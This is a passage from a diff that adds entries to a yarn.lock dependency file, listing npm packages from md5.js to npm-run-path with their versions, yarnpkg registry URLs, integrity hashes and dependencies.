+ resolved "https://registry.yarnpkg.com/md5.js/-/md5.js-1.3.5.tgz#b5d07b8e3216e3e27cd728d72f70d1e6a342005f"
+ integrity sha512-xitP+WxNPcTTOgnTJcrhM0xvdPepipPSf3I8EIpGKeFLjt3PlJLIDG3u8EX53ZIubkb+5U2+3rELYpEhHhzdkg==
+ dependencies:
+ hash-base "^3.0.0"
+ inherits "^2.0.1"
+ safe-buffer "^5.1.2"
+
+mdast-squeeze-paragraphs@^4.0.0:
+ version "4.0.0"
+ resolved "https://registry.yarnpkg.com/mdast-squeeze-paragraphs/-/mdast-squeeze-paragraphs-4.0.0.tgz#7c4c114679c3bee27ef10b58e2e015be79f1ef97"
+ integrity sha512-zxdPn69hkQ1rm4J+2Cs2j6wDEv7O17TfXTJ33tl/+JPIoEmtV9t2ZzBM5LPHE8QlHsmVD8t3vPKCyY3oH+H8MQ==
+ dependencies:
+ unist-util-remove "^2.0.0"
+
+mdast-util-definitions@^4.0.0:
+ version "4.0.0"
+ resolved "https://registry.yarnpkg.com/mdast-util-definitions/-/mdast-util-definitions-4.0.0.tgz#c5c1a84db799173b4dcf7643cda999e440c24db2"
+ integrity sha512-k8AJ6aNnUkB7IE+5azR9h81O5EQ/cTDXtWdMq9Kk5KcEW/8ritU5CeLg/9HhOC++nALHBlaogJ5jz0Ybk3kPMQ==
+ dependencies:
+ unist-util-visit "^2.0.0"
+
+mdast-util-to-hast@10.0.1:
+ version "10.0.1"
+ resolved "https://registry.yarnpkg.com/mdast-util-to-hast/-/mdast-util-to-hast-10.0.1.tgz#0cfc82089494c52d46eb0e3edb7a4eb2aea021eb"
+ integrity sha512-BW3LM9SEMnjf4HXXVApZMt8gLQWVNXc3jryK0nJu/rOXPOnlkUjmdkDlmxMirpbU9ILncGFIwLH/ubnWBbcdgA==
+ dependencies:
+ "@types/mdast" "^3.0.0"
+ "@types/unist" "^2.0.0"
+ mdast-util-definitions "^4.0.0"
+ mdurl "^1.0.0"
+ unist-builder "^2.0.0"
+ unist-util-generated "^1.0.0"
+ unist-util-position "^3.0.0"
+ unist-util-visit "^2.0.0"
+
+mdast-util-to-string@^1.0.0:
+ version "1.1.0"
+ resolved "https://registry.yarnpkg.com/mdast-util-to-string/-/mdast-util-to-string-1.1.0.tgz#27055500103f51637bd07d01da01eb1967a43527"
+ integrity sha512-jVU0Nr2B9X3MU4tSK7JP1CMkSvOj7X5l/GboG1tKRw52lLF1x2Ju92Ms9tNetCcbfX3hzlM73zYo2NKkWSfF/A==
+
+mdurl@^1.0.0:
+ version "1.0.1"
+ resolved "https://registry.yarnpkg.com/mdurl/-/mdurl-1.0.1.tgz#fe85b2ec75a59037f2adfec100fd6c601761152e"
+ integrity sha1-/oWy7HWlkDfyrf7BAP1sYBdhFS4=
+
+media-typer@0.3.0:
+ version "0.3.0"
+ resolved "https://registry.yarnpkg.com/media-typer/-/media-typer-0.3.0.tgz#8710d7af0aa626f8fffa1ce00168545263255748"
+ integrity sha1-hxDXrwqmJvj/+hzgAWhUUmMlV0g=
+
+memfs@^3.1.2:
+ version "3.2.2"
+ resolved "https://registry.yarnpkg.com/memfs/-/memfs-3.2.2.tgz#5de461389d596e3f23d48bb7c2afb6161f4df40e"
+ integrity sha512-RE0CwmIM3CEvpcdK3rZ19BC4E6hv9kADkMN5rPduRak58cNArWLi/9jFLsa4rhsjfVxMP3v0jO7FHXq7SvFY5Q==
+ dependencies:
+ fs-monkey "1.0.3"
+
+memoizerific@^1.11.3:
+ version "1.11.3"
+ resolved "https://registry.yarnpkg.com/memoizerific/-/memoizerific-1.11.3.tgz#7c87a4646444c32d75438570905f2dbd1b1a805a"
+ integrity sha1-fIekZGREwy11Q4VwkF8tvRsagFo=
+ dependencies:
+ map-or-similar "^1.5.0"
+
+memory-fs@^0.4.1:
+ version "0.4.1"
+ resolved "https://registry.yarnpkg.com/memory-fs/-/memory-fs-0.4.1.tgz#3a9a20b8462523e447cfbc7e8bb80ed667bfc552"
+ integrity sha1-OpoguEYlI+RHz7x+i7gO1me/xVI=
+ dependencies:
+ errno "^0.1.3"
+ readable-stream "^2.0.1"
+
+memory-fs@^0.5.0:
+ version "0.5.0"
+ resolved "https://registry.yarnpkg.com/memory-fs/-/memory-fs-0.5.0.tgz#324c01288b88652966d161db77838720845a8e3c"
+ integrity sha512-jA0rdU5KoQMC0e6ppoNRtpp6vjFq6+NY7r8hywnC7V+1Xj/MtHwGIbB1QaK/dunyjWteJzmkpd7ooeWg10T7GA==
+ dependencies:
+ errno "^0.1.3"
+ readable-stream "^2.0.1"
+
+meow@^3.7.0:
+ version "3.7.0"
+ resolved "https://registry.yarnpkg.com/meow/-/meow-3.7.0.tgz#72cb668b425228290abbfa856892587308a801fb"
+ integrity sha1-cstmi0JSKCkKu/qFaJJYcwioAfs=
+ dependencies:
+ camelcase-keys "^2.0.0"
+ decamelize "^1.1.2"
+ loud-rejection "^1.0.0"
+ map-obj "^1.0.1"
+ minimist "^1.1.3"
+ normalize-package-data "^2.3.4"
+ object-assign "^4.0.1"
+ read-pkg-up "^1.0.1"
+ redent "^1.0.0"
+ trim-newlines "^1.0.0"
+
+merge-descriptors@1.0.1:
+ version "1.0.1"
+ resolved "https://registry.yarnpkg.com/merge-descriptors/-/merge-descriptors-1.0.1.tgz#b00aaa556dd8b44568150ec9d1b953f3f90cbb61"
+ integrity sha1-sAqqVW3YtEVoFQ7J0blT8/kMu2E=
+
+merge-source-map@^1.1.0:
+ version "1.1.0"
+ resolved "https://registry.yarnpkg.com/merge-source-map/-/merge-source-map-1.1.0.tgz#2fdde7e6020939f70906a68f2d7ae685e4c8c646"
+ integrity sha512-Qkcp7P2ygktpMPh2mCQZaf3jhN6D3Z/qVZHSdWvQ+2Ef5HgRAPBO57A77+ENm0CPx2+1Ce/MYKi3ymqdfuqibw==
+ dependencies:
+ source-map "^0.6.1"
+
+merge-stream@^2.0.0:
+ version "2.0.0"
+ resolved "https://registry.yarnpkg.com/merge-stream/-/merge-stream-2.0.0.tgz#52823629a14dd00c9770fb6ad47dc6310f2c1f60"
+ integrity sha512-abv/qOcuPfk3URPfDzmZU1LKmuw8kT+0nIHvKrKgFrwifol/doWcdA4ZqsWQ8ENrFKkd67Mfpo/LovbIUsbt3w==
+
+merge2@^1.2.3, merge2@^1.3.0:
+ version "1.4.1"
+ resolved "https://registry.yarnpkg.com/merge2/-/merge2-1.4.1.tgz#4368892f885e907455a6fd7dc55c0c9d404990ae"
+ integrity sha512-8q7VEgMJW4J8tcfVPy8g09NcQwZdbwFEqhe/WZkoIzjn/3TGDwtOCYtXGxA3O8tPzpczCCDgv+P2P5y00ZJOOg==
+
+methods@~1.1.2:
+ version "1.1.2"
+ resolved "https://registry.yarnpkg.com/methods/-/methods-1.1.2.tgz#5529a4d67654134edcc5266656835b0f851afcee"
+ integrity sha1-VSmk1nZUE07cxSZmVoNbD4Ua/O4=
+
+microevent.ts@~0.1.1:
+ version "0.1.1"
+ resolved "https://registry.yarnpkg.com/microevent.ts/-/microevent.ts-0.1.1.tgz#70b09b83f43df5172d0205a63025bce0f7357fa0"
+ integrity sha512-jo1OfR4TaEwd5HOrt5+tAZ9mqT4jmpNAusXtyfNzqVm9uiSYFZlKM1wYL4oU7azZW/PxQW53wM0S6OR1JHNa2g==
+
+micromatch@^3.0.4, micromatch@^3.1.10, micromatch@^3.1.4:
+ version "3.1.10"
+ resolved "https://registry.yarnpkg.com/micromatch/-/micromatch-3.1.10.tgz#70859bc95c9840952f359a068a3fc49f9ecfac23"
+ integrity sha512-MWikgl9n9M3w+bpsY3He8L+w9eF9338xRl8IAO5viDizwSzziFEyUzo2xrrloB64ADbTf8uA8vRqqttDTOmccg==
+ dependencies:
+ arr-diff "^4.0.0"
+ array-unique "^0.3.2"
+ braces "^2.3.1"
+ define-property "^2.0.2"
+ extend-shallow "^3.0.2"
+ extglob "^2.0.4"
+ fragment-cache "^0.2.1"
+ kind-of "^6.0.2"
+ nanomatch "^1.2.9"
+ object.pick "^1.3.0"
+ regex-not "^1.0.0"
+ snapdragon "^0.8.1"
+ to-regex "^3.0.2"
+
+micromatch@^4.0.0, micromatch@^4.0.2:
+ version "4.0.4"
+ resolved "https://registry.yarnpkg.com/micromatch/-/micromatch-4.0.4.tgz#896d519dfe9db25fce94ceb7a500919bf881ebf9"
+ integrity sha512-pRmzw/XUcwXGpD9aI9q/0XOwLNygjETJ8y0ao0wdqprrzDa4YnxLcz7fQRZr8voh8V10kGhABbNcHVk5wHgWwg==
+ dependencies:
+ braces "^3.0.1"
+ picomatch "^2.2.3"
+
+miller-rabin@^4.0.0:
+ version "4.0.1"
+ resolved "https://registry.yarnpkg.com/miller-rabin/-/miller-rabin-4.0.1.tgz#f080351c865b0dc562a8462966daa53543c78a4d"
+ integrity sha512-115fLhvZVqWwHPbClyntxEVfVDfl9DLLTuJvq3g2O/Oxi8AiNouAHvDSzHS0viUJc+V5vm3eq91Xwqn9dp4jRA==
+ dependencies:
+ bn.js "^4.0.0"
+ brorand "^1.0.1"
+
+mime-db@1.47.0:
+ version "1.47.0"
+ resolved "https://registry.yarnpkg.com/mime-db/-/mime-db-1.47.0.tgz#8cb313e59965d3c05cfbf898915a267af46a335c"
+ integrity sha512-QBmA/G2y+IfeS4oktet3qRZ+P5kPhCKRXxXnQEudYqUaEioAU1/Lq2us3D/t1Jfo4hE9REQPrbB7K5sOczJVIw==
+
+mime-types@^2.1.12, mime-types@^2.1.27, mime-types@~2.1.19, mime-types@~2.1.24:
+ version "2.1.30"
+ resolved "https://registry.yarnpkg.com/mime-types/-/mime-types-2.1.30.tgz#6e7be8b4c479825f85ed6326695db73f9305d62d"
+ integrity sha512-crmjA4bLtR8m9qLpHvgxSChT+XoSlZi8J4n/aIdn3z92e/U47Z0V/yl+Wh9W046GgFVAmoNR/fmdbZYcSSIUeg==
+ dependencies:
+ mime-db "1.47.0"
+
+mime@1.6.0:
+ version "1.6.0"
+ resolved "https://registry.yarnpkg.com/mime/-/mime-1.6.0.tgz#32cd9e5c64553bd58d19a568af452acff04981b1"
+ integrity sha512-x0Vn8spI+wuJ1O6S7gnbaQg8Pxh4NNHb7KSINmEWKiPE4RKOplvijn+NkmYmmRgP68mc70j2EbeTFRsrswaQeg==
+
+mime@^2.4.4:
+ version "2.5.2"
+ resolved "https://registry.yarnpkg.com/mime/-/mime-2.5.2.tgz#6e3dc6cc2b9510643830e5f19d5cb753da5eeabe"
+ integrity sha512-tqkh47FzKeCPD2PUiPB6pkbMzsCasjxAfC62/Wap5qrUWcb+sFasXUC5I3gYM5iBM8v/Qpn4UK0x+j0iHyFPDg==
+
+min-document@^2.19.0:
+ version "2.19.0"
+ resolved "https://registry.yarnpkg.com/min-document/-/min-document-2.19.0.tgz#7bd282e3f5842ed295bb748cdd9f1ffa2c824685"
+ integrity sha1-e9KC4/WELtKVu3SM3Z8f+iyCRoU=
+ dependencies:
+ dom-walk "^0.1.0"
+
+minimalistic-assert@^1.0.0, minimalistic-assert@^1.0.1:
+ version "1.0.1"
+ resolved "https://registry.yarnpkg.com/minimalistic-assert/-/minimalistic-assert-1.0.1.tgz#2e194de044626d4a10e7f7fbc00ce73e83e4d5c7"
+ integrity sha512-UtJcAD4yEaGtjPezWuO9wC4nwUnVH/8/Im3yEHQP4b67cXlD/Qr9hdITCU1xDbSEXg2XKNaP8jsReV7vQd00/A==
+
+minimalistic-crypto-utils@^1.0.1:
+ version "1.0.1"
+ resolved "https://registry.yarnpkg.com/minimalistic-crypto-utils/-/minimalistic-crypto-utils-1.0.1.tgz#f6c00c1c0b082246e5c4d99dfb8c7c083b2b582a"
+ integrity sha1-9sAMHAsIIkblxNmd+4x8CDsrWCo=
+
+minimatch@3.0.4, minimatch@^3.0.2, minimatch@^3.0.4, minimatch@~3.0.2:
+ version "3.0.4"
+ resolved "https://registry.yarnpkg.com/minimatch/-/minimatch-3.0.4.tgz#5166e286457f03306064be5497e8dbb0c3d32083"
+ integrity sha512-yJHVQEhyqPLUTgt9B83PXu6W3rx4MvvHvSUvToogpwoGDOUQ+yDrR0HRot+yOCdCO7u4hX3pWft6kWBBcqh0UA==
+ dependencies:
+ brace-expansion "^1.1.7"
+
+minimist@^1.1.1, minimist@^1.1.3, minimist@^1.2.0, minimist@^1.2.5:
+ version "1.2.5"
+ resolved "https://registry.yarnpkg.com/minimist/-/minimist-1.2.5.tgz#67d66014b66a6a8aaa0c083c5fd58df4e4e97602"
+ integrity sha512-FM9nNUYrRBAELZQT3xeZQ7fmMOBg6nWNmJKTcgsJeaLstP/UODVpGsr5OhXhhXg6f+qtJ8uiZ+PUxkDWcgIXLw==
+
+minipass-collect@^1.0.2:
+ version "1.0.2"
+ resolved "https://registry.yarnpkg.com/minipass-collect/-/minipass-collect-1.0.2.tgz#22b813bf745dc6edba2576b940022ad6edc8c617"
+ integrity sha512-6T6lH0H8OG9kITm/Jm6tdooIbogG9e0tLgpY6mphXSm/A9u8Nq1ryBG+Qspiub9LjWlBPsPS3tWQ/Botq4FdxA==
+ dependencies:
+ minipass "^3.0.0"
+
+minipass-flush@^1.0.5:
+ version "1.0.5"
+ resolved "https://registry.yarnpkg.com/minipass-flush/-/minipass-flush-1.0.5.tgz#82e7135d7e89a50ffe64610a787953c4c4cbb373"
+ integrity sha512-JmQSYYpPUqX5Jyn1mXaRwOda1uQ8HP5KAT/oDSLCzt1BYRhQU0/hDtsB1ufZfEEzMZ9aAVmsBw8+FWsIXlClWw==
+ dependencies:
+ minipass "^3.0.0"
+
+minipass-pipeline@^1.2.2:
+ version "1.2.4"
+ resolved "https://registry.yarnpkg.com/minipass-pipeline/-/minipass-pipeline-1.2.4.tgz#68472f79711c084657c067c5c6ad93cddea8214c"
+ integrity sha512-xuIq7cIOt09RPRJ19gdi4b+RiNvDFYe5JH+ggNvBqGqpQXcru3PcRmOZuHBKWK1Txf9+cQ+HMVN4d6z46LZP7A==
+ dependencies:
+ minipass "^3.0.0"
+
+minipass@^3.0.0, minipass@^3.1.1:
+ version "3.1.3"
+ resolved "https://registry.yarnpkg.com/minipass/-/minipass-3.1.3.tgz#7d42ff1f39635482e15f9cdb53184deebd5815fd"
+ integrity sha512-Mgd2GdMVzY+x3IJ+oHnVM+KG3lA5c8tnabyJKmHSaG2kAGpudxuOf8ToDkhumF7UzME7DecbQE9uOZhNm7PuJg==
+ dependencies:
+ yallist "^4.0.0"
+
+minizlib@^2.1.1:
+ version "2.1.2"
+ resolved "https://registry.yarnpkg.com/minizlib/-/minizlib-2.1.2.tgz#e90d3466ba209b932451508a11ce3d3632145931"
+ integrity sha512-bAxsR8BVfj60DWXHE3u30oHzfl4G7khkSuPW+qvpd7jFRHm7dLxOjUk1EHACJ/hxLY8phGJ0YhYHZo7jil7Qdg==
+ dependencies:
+ minipass "^3.0.0"
+ yallist "^4.0.0"
+
+mississippi@^3.0.0:
+ version "3.0.0"
+ resolved "https://registry.yarnpkg.com/mississippi/-/mississippi-3.0.0.tgz#ea0a3291f97e0b5e8776b363d5f0a12d94c67022"
+ integrity sha512-x471SsVjUtBRtcvd4BzKE9kFC+/2TeWgKCgw0bZcw1b9l2X3QX5vCWgF+KaZaYm87Ss//rHnWryupDrgLvmSkA==
+ dependencies:
+ concat-stream "^1.5.0"
+ duplexify "^3.4.2"
+ end-of-stream "^1.1.0"
+ flush-write-stream "^1.0.0"
+ from2 "^2.1.0"
+ parallel-transform "^1.1.0"
+ pump "^3.0.0"
+ pumpify "^1.3.3"
+ stream-each "^1.1.0"
+ through2 "^2.0.0"
+
+mixin-deep@^1.2.0:
+ version "1.3.2"
+ resolved "https://registry.yarnpkg.com/mixin-deep/-/mixin-deep-1.3.2.tgz#1120b43dc359a785dce65b55b82e257ccf479566"
+ integrity sha512-WRoDn//mXBiJ1H40rqa3vH0toePwSsGb45iInWlTySa+Uu4k3tYUSxa2v1KqAiLtvlrSzaExqS1gtk96A9zvEA==
+ dependencies:
+ for-in "^1.0.2"
+ is-extendable "^1.0.1"
+
+"mkdirp@>=0.5 0", mkdirp@^0.5.0, mkdirp@^0.5.1, mkdirp@^0.5.3:
+ version "0.5.5"
+ resolved "https://registry.yarnpkg.com/mkdirp/-/mkdirp-0.5.5.tgz#d91cefd62d1436ca0f41620e251288d420099def"
+ integrity sha512-NKmAlESf6jMGym1++R0Ra7wvhV+wFW63FaSOFPwRahvea0gMUcGUhVeAg/0BC0wiv9ih5NYPB1Wn1UEI1/L+xQ==
+ dependencies:
+ minimist "^1.2.5"
+
+mkdirp@^1.0.3, mkdirp@^1.0.4:
+ version "1.0.4"
+ resolved "https://registry.yarnpkg.com/mkdirp/-/mkdirp-1.0.4.tgz#3eb5ed62622756d79a5f0e2a221dfebad75c2f7e"
+ integrity sha512-vVqVZQyf3WLx2Shd0qJ9xuvqgAyKPLAiqITEtqW0oIUjzo3PePDd6fW9iFz30ef7Ysp/oiWqbhszeGWW2T6Gzw==
+
+move-concurrently@^1.0.1:
+ version "1.0.1"
+ resolved "https://registry.yarnpkg.com/move-concurrently/-/move-concurrently-1.0.1.tgz#be2c005fda32e0b29af1f05d7c4b33214c701f92"
+ integrity sha1-viwAX9oy4LKa8fBdfEszIUxwH5I=
+ dependencies:
+ aproba "^1.1.1"
+ copy-concurrently "^1.0.0"
+ fs-write-stream-atomic "^1.0.8"
+ mkdirp "^0.5.1"
+ rimraf "^2.5.4"
+ run-queue "^1.0.3"
+
+ms@2.0.0:
+ version "2.0.0"
+ resolved "https://registry.yarnpkg.com/ms/-/ms-2.0.0.tgz#5608aeadfc00be6c2901df5f9861788de0d597c8"
+ integrity sha1-VgiurfwAvmwpAd9fmGF4jeDVl8g=
+
+ms@2.1.1:
+ version "2.1.1"
+ resolved "https://registry.yarnpkg.com/ms/-/ms-2.1.1.tgz#30a5864eb3ebb0a66f2ebe6d727af06a09d86e0a"
+ integrity sha512-tgp+dl5cGk28utYktBsrFqA7HKgrhgPsg6Z/EfhWI4gl1Hwq8B/GmY/0oXZ6nF8hDVesS/FpnYaD/kOWhYQvyg==
+
+ms@2.1.2:
+ version "2.1.2"
+ resolved "https://registry.yarnpkg.com/ms/-/ms-2.1.2.tgz#d09d1f357b443f493382a8eb3ccd183872ae6009"
+ integrity sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==
+
+ms@^2.1.1:
+ version "2.1.3"
+ resolved "https://registry.yarnpkg.com/ms/-/ms-2.1.3.tgz#574c8138ce1d2b5861f0b44579dbadd60c6615b2"
+ integrity sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==
+
+nan@^2.12.1, nan@^2.13.2:
+ version "2.14.2"
+ resolved "https://registry.yarnpkg.com/nan/-/nan-2.14.2.tgz#f5376400695168f4cc694ac9393d0c9585eeea19"
+ integrity sha512-M2ufzIiINKCuDfBSAUr1vWQ+vuVcA9kqx8JJUsbQi6yf1uGRyb7HfpdfUr5qLXf3B/t8dPvcjhKMmlfnP47EzQ==
+
+nanoid@^3.1.23:
+ version "3.1.23"
+ resolved "https://registry.yarnpkg.com/nanoid/-/nanoid-3.1.23.tgz#f744086ce7c2bc47ee0a8472574d5c78e4183a81"
+ integrity sha512-FiB0kzdP0FFVGDKlRLEQ1BgDzU87dy5NnzjeW9YZNt+/c3+q82EQDUwniSAUxp/F0gFNI1ZhKU1FqYsMuqZVnw==
+
+nanomatch@^1.2.9:
+ version "1.2.13"
+ resolved "https://registry.yarnpkg.com/nanomatch/-/nanomatch-1.2.13.tgz#b87a8aa4fc0de8fe6be88895b38983ff265bd119"
+ integrity sha512-fpoe2T0RbHwBTBUOftAfBPaDEi06ufaUai0mE6Yn1kacc3SnTErfb/h+X94VXzI64rKFHYImXSvdwGGCmwOqCA==
+ dependencies:
+ arr-diff "^4.0.0"
+ array-unique "^0.3.2"
+ define-property "^2.0.2"
+ extend-shallow "^3.0.2"
+ fragment-cache "^0.2.1"
+ is-windows "^1.0.2"
+ kind-of "^6.0.2"
+ object.pick "^1.3.0"
+ regex-not "^1.0.0"
+ snapdragon "^0.8.1"
+ to-regex "^3.0.1"
+
+negotiator@0.6.2:
+ version "0.6.2"
+ resolved "https://registry.yarnpkg.com/negotiator/-/negotiator-0.6.2.tgz#feacf7ccf525a77ae9634436a64883ffeca346fb"
+ integrity sha512-hZXc7K2e+PgeI1eDBe/10Ard4ekbfrrqG8Ep+8Jmf4JID2bNg7NvCPOZN+kfF574pFQI7mum2AUqDidoKqcTOw==
+
+neo-async@^2.5.0, neo-async@^2.6.1:
+ version "2.6.2"
+ resolved "https://registry.yarnpkg.com/neo-async/-/neo-async-2.6.2.tgz#b4aafb93e3aeb2d8174ca53cf163ab7d7308305f"
+ integrity sha512-Yd3UES5mWCSqR+qNT93S3UoYUkqAZ9lLg8a7g9rimsWmYGK8cVToA4/sF3RrshdyV3sAGMXVUmpMYOw+dLpOuw==
+
+nested-error-stacks@^2.0.0, nested-error-stacks@^2.1.0:
+ version "2.1.0"
+ resolved "https://registry.yarnpkg.com/nested-error-stacks/-/nested-error-stacks-2.1.0.tgz#0fbdcf3e13fe4994781280524f8b96b0cdff9c61"
+ integrity sha512-AO81vsIO1k1sM4Zrd6Hu7regmJN1NSiAja10gc4bX3F0wd+9rQmcuHQaHVQCYIEC8iFXnE+mavh23GOt7wBgug==
+
+nice-try@^1.0.4:
+ version "1.0.5"
+ resolved "https://registry.yarnpkg.com/nice-try/-/nice-try-1.0.5.tgz#a3378a7696ce7d223e88fc9b764bd7ef1089e366"
+ integrity sha512-1nh45deeb5olNY7eX82BkPO7SSxR5SSYJiPTrTdFUVYwAl8CKMA5N9PjTYkHiRjisVcxcQ1HXdLhx2qxxJzLNQ==
+
+no-case@^2.2.0, no-case@^2.3.2:
+ version "2.3.2"
+ resolved "https://registry.yarnpkg.com/no-case/-/no-case-2.3.2.tgz#60b813396be39b3f1288a4c1ed5d1e7d28b464ac"
+ integrity sha512-rmTZ9kz+f3rCvK2TD1Ue/oZlns7OGoIWP4fc3llxxRXlOkHKoWPPWJOfFYpITabSow43QJbRIoHQXtt10VldyQ==
+ dependencies:
+ lower-case "^1.1.1"
+
+no-case@^3.0.4:
+ version "3.0.4"
+ resolved "https://registry.yarnpkg.com/no-case/-/no-case-3.0.4.tgz#d361fd5c9800f558551a8369fc0dcd4662b6124d"
+ integrity sha512-fgAN3jGAh+RoxUGZHTSOLJIqUc2wmoBwGR4tbpNAKmmovFoWq0OdRkb0VkldReO2a2iBT/OEulG9XSUc10r3zg==
+ dependencies:
+ lower-case "^2.0.2"
+ tslib "^2.0.3"
+
+node-dir@^0.1.17:
+ version "0.1.17"
+ resolved "https://registry.yarnpkg.com/node-dir/-/node-dir-0.1.17.tgz#5f5665d93351335caabef8f1c554516cf5f1e4e5"
+ integrity sha1-X1Zl2TNRM1yqvvjxxVRRbPXx5OU=
+ dependencies:
+ minimatch "^3.0.2"
+
+node-fetch@^2.6.1:
+ version "2.6.1"
+ resolved "https://registry.yarnpkg.com/node-fetch/-/node-fetch-2.6.1.tgz#045bd323631f76ed2e2b55573394416b639a0052"
+ integrity sha512-V4aYg89jEoVRxRb2fJdAg8FHvI7cEyYdVAh94HH0UIK8oJxUfkjlDQN9RbMx+bEjP7+ggMiFRprSti032Oipxw==
+
+node-gyp@^3.8.0:
+ version "3.8.0"
+ resolved "https://registry.yarnpkg.com/node-gyp/-/node-gyp-3.8.0.tgz#540304261c330e80d0d5edce253a68cb3964218c"
+ integrity sha512-3g8lYefrRRzvGeSowdJKAKyks8oUpLEd/DyPV4eMhVlhJ0aNaZqIrNUIPuEWWTAoPqyFkfGrM67MC69baqn6vA==
+ dependencies:
+ fstream "^1.0.0"
+ glob "^7.0.3"
+ graceful-fs "^4.1.2"
+ mkdirp "^0.5.0"
+ nopt "2 || 3"
+ npmlog "0 || 1 || 2 || 3 || 4"
+ osenv "0"
+ request "^2.87.0"
+ rimraf "2"
+ semver "~5.3.0"
+ tar "^2.0.0"
+ which "1"
+
+node-int64@^0.4.0:
+ version "0.4.0"
+ resolved "https://registry.yarnpkg.com/node-int64/-/node-int64-0.4.0.tgz#87a9065cdb355d3182d8f94ce11188b825c68a3b"
+ integrity sha1-h6kGXNs1XTGC2PlM4RGIuCXGijs=
+
+node-libs-browser@^2.2.1:
+ version "2.2.1"
+ resolved "https://registry.yarnpkg.com/node-libs-browser/-/node-libs-browser-2.2.1.tgz#b64f513d18338625f90346d27b0d235e631f6425"
+ integrity sha512-h/zcD8H9kaDZ9ALUWwlBUDo6TKF8a7qBSCSEGfjTVIYeqsioSKaAX+BN7NgiMGp6iSIXZ3PxgCu8KS3b71YK5Q==
+ dependencies:
+ assert "^1.1.1"
+ browserify-zlib "^0.2.0"
+ buffer "^4.3.0"
+ console-browserify "^1.1.0"
+ constants-browserify "^1.0.0"
+ crypto-browserify "^3.11.0"
+ domain-browser "^1.1.1"
+ events "^3.0.0"
+ https-browserify "^1.0.0"
+ os-browserify "^0.3.0"
+ path-browserify "0.0.1"
+ process "^0.11.10"
+ punycode "^1.2.4"
+ querystring-es3 "^0.2.0"
+ readable-stream "^2.3.3"
+ stream-browserify "^2.0.1"
+ stream-http "^2.7.2"
+ string_decoder "^1.0.0"
+ timers-browserify "^2.0.4"
+ tty-browserify "0.0.0"
+ url "^0.11.0"
+ util "^0.11.0"
+ vm-browserify "^1.0.1"
+
+node-modules-regexp@^1.0.0:
+ version "1.0.0"
+ resolved "https://registry.yarnpkg.com/node-modules-regexp/-/node-modules-regexp-1.0.0.tgz#8d9dbe28964a4ac5712e9131642107c71e90ec40"
+ integrity sha1-jZ2+KJZKSsVxLpExZCEHxx6Q7EA=
+
+node-releases@^1.1.61, node-releases@^1.1.71:
+ version "1.1.72"
+ resolved "https://registry.yarnpkg.com/node-releases/-/node-releases-1.1.72.tgz#14802ab6b1039a79a0c7d662b610a5bbd76eacbe"
+ integrity sha512-LLUo+PpH3dU6XizX3iVoubUNheF/owjXCZZ5yACDxNnPtgFuludV1ZL3ayK1kVep42Rmm0+R9/Y60NQbZ2bifw==
+
+node-sass-magic-importer@^5.3.2:
+ version "5.3.2"
+ resolved "https://registry.yarnpkg.com/node-sass-magic-importer/-/node-sass-magic-importer-5.3.2.tgz#2f2248bb2e5cdb275ba34102ebf995edadf99175"
+ integrity sha512-T3wTUdUoXQE3QN+EsyPpUXRI1Gj1lEsrySQ9Kzlzi15QGKi+uRa9fmvkcSy2y3BKgoj//7Mt9+s+7p0poMpg6Q==
+ dependencies:
+ css-node-extract "^2.1.3"
+ css-selector-extract "^3.3.6"
+ findup-sync "^3.0.0"
+ glob "^7.1.3"
+ object-hash "^1.3.1"
+ postcss-scss "^2.0.0"
+ resolve "^1.10.1"
+
+node-sass@^4.14.1:
+ version "4.14.1"
+ resolved "https://registry.yarnpkg.com/node-sass/-/node-sass-4.14.1.tgz#99c87ec2efb7047ed638fb4c9db7f3a42e2217b5"
+ integrity sha512-sjCuOlvGyCJS40R8BscF5vhVlQjNN069NtQ1gSxyK1u9iqvn6tf7O1R4GNowVZfiZUCRt5MmMs1xd+4V/7Yr0g==
+ dependencies:
+ async-foreach "^0.1.3"
+ chalk "^1.1.1"
+ cross-spawn "^3.0.0"
+ gaze "^1.0.0"
+ get-stdin "^4.0.1"
+ glob "^7.0.3"
+ in-publish "^2.0.0"
+ lodash "^4.17.15"
+ meow "^3.7.0"
+ mkdirp "^0.5.1"
+ nan "^2.13.2"
+ node-gyp "^3.8.0"
+ npmlog "^4.0.0"
+ request "^2.88.0"
+ sass-graph "2.2.5"
+ stdout-stream "^1.4.0"
+ "true-case-path" "^1.0.2"
+
+"nopt@2 || 3":
+ version "3.0.6"
+ resolved "https://registry.yarnpkg.com/nopt/-/nopt-3.0.6.tgz#c6465dbf08abcd4db359317f79ac68a646b28ff9"
+ integrity sha1-xkZdvwirzU2zWTF/eaxopkayj/k=
+ dependencies:
+ abbrev "1"
+
+normalize-package-data@^2.3.2, normalize-package-data@^2.3.4, normalize-package-data@^2.5.0:
+ version "2.5.0"
+ resolved "https://registry.yarnpkg.com/normalize-package-data/-/normalize-package-data-2.5.0.tgz#e66db1838b200c1dfc233225d12cb36520e234a8"
+ integrity sha512-/5CMN3T0R4XTj4DcGaexo+roZSdSFW/0AOOTROrjxzCG1wrWXEsGbRKevjlIL+ZDE4sZlJr5ED4YW0yqmkK+eA==
+ dependencies:
+ hosted-git-info "^2.1.4"
+ resolve "^1.10.0"
+ semver "2 || 3 || 4 || 5"
+ validate-npm-package-license "^3.0.1"
+
+normalize-path@^2.1.1:
+ version "2.1.1"
+ resolved "https://registry.yarnpkg.com/normalize-path/-/normalize-path-2.1.1.tgz#1ab28b556e198363a8c1a6f7e6fa20137fe6aed9"
+ integrity sha1-GrKLVW4Zg2Oowab35vogE3/mrtk=
+ dependencies:
+ remove-trailing-separator "^1.0.1"
+
+normalize-path@^3.0.0, normalize-path@~3.0.0:
+ version "3.0.0"
+ resolved "https://registry.yarnpkg.com/normalize-path/-/normalize-path-3.0.0.tgz#0dcd69ff23a1c9b11fd0978316644a0388216a65"
+ integrity sha512-6eZs5Ls3WtCisHWp9S2GUy8dqkpGi4BVSz3GaqiE6ezub0512ESztXUwUB6C6IKbQkY2Pnb/mD4WYojCRwcwLA==
+
+normalize-range@^0.1.2:
+ version "0.1.2"
+ resolved "https://registry.yarnpkg.com/normalize-range/-/normalize-range-0.1.2.tgz#2d10c06bdfd312ea9777695a4d28439456b75942"
+ integrity sha1-LRDAa9/TEuqXd2laTShDlFa3WUI=
+
+npm-run-path@^2.0.0:
+ version "2.0.2"
